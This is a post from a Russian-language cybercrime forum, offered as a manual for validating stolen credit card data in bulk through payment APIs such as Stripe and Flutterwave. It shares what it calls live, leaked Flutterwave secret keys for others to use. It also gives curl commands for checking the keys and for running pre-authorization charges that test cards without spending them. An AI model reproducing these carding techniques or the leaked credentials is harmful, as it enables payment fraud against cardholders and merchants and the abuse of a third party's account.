• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга CCV validation/balance checking via payment APIs + Free API key

EthicX

ripper
КИДАЛА
Регистрация
08.01.2022
Сообщения
81
Реакции
28
Пожалуйста, обратите внимание, что пользователь заблокирован
sup, if you are looking for a way to check your mass CCV data then here is a way !

using payment APIs like stripe, Razorpay, first data ......

You can simply pass your cards thru these APIs and check for the live ones!
To avoid killing cards while checking you may like to do authorization on payments instead of actually taking charges! This means you only holding an amount without charging the card! but keep in mind that authorizations may also show in the card transactions history.

I also use this technique to determine how much a CCV can charge?

Most fellows use stripe API because it's easy to find and like exposed everywhere :3

but for a demo, I will use flutterwave API because its more simple, and also the keys I'm using are valid by the time I'm posting this so feel free to use them too!
Код:
"
//
Flutterwave": {
      "PublicKey": "FLWPUBK-0c829d67037c8c431685e19e78d58963-X",
      "SecretKey": "FLWSECK-a0a296b506de71e7e1ea106e798f32ef-X",
      "EncryptionKey": "a0a296b506de354bdeecbec9"



So first lets check if keys are valid and simply by sending a request to this endpoint

Код:
curl --location --request GET '{{BASE_API_URL}}/balances' \
--header 'Authorization: Bearer {SEC_KEY}' \
--header 'Content-Type: application/json'

Or u can simply do it from the API docs page "https://developer.flutterwave.com/reference/get-all-wallet-balances"

5ms_Dt05K.gif




Now after we know we have valid keys let us do the thing

so to do a pre-auth charge in flutterwave we need to make a normal charge but add a parameter "preauthorize": true to the payload

Код:
curl --request POST \
     --url 'https://api.flutterwave.com/v3/charges?type=card' \
     --header 'Accept: application/json' \
     --header 'Authorization: Bearer FLWSECK_TEST-SANDBOXDEMOKEY-X' \
     --header 'Content-Type: application/json' \
     --data '
{
     "amount": "100",
     "currency": "USD",
     "card_number": "4556052704172643",
     "cvv": "899",
     "expiry_month": "01",
     "expiry_year": "21",
     "email": "user@flw.com",
     "tx_ref": "MC-3243e",
     "phone_number": "07033002245",
     "fullname": "Yemi Desola",
     "preauthorize": true,
     "redirect_url": "https://webhook.site/3ed41e38-2c79-4c79-b455-97398730866c",
     "client_ip": "154.123.220.1",
     "device_fingerprint": "62wd23423rq324323qew1",
     "meta": {
          "flightID": "123949494DC",
          "sideNote": "This is a side note to track this call"
     }
}
'

And that's all! what we need next is to automate this in a python script so we can process bulk cards, and I will keep that to part 2 if you like the topic
 

Вложения

  • 1643383870100.png
    1643383870100.png
    44 КБ · Просмотры: 73


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх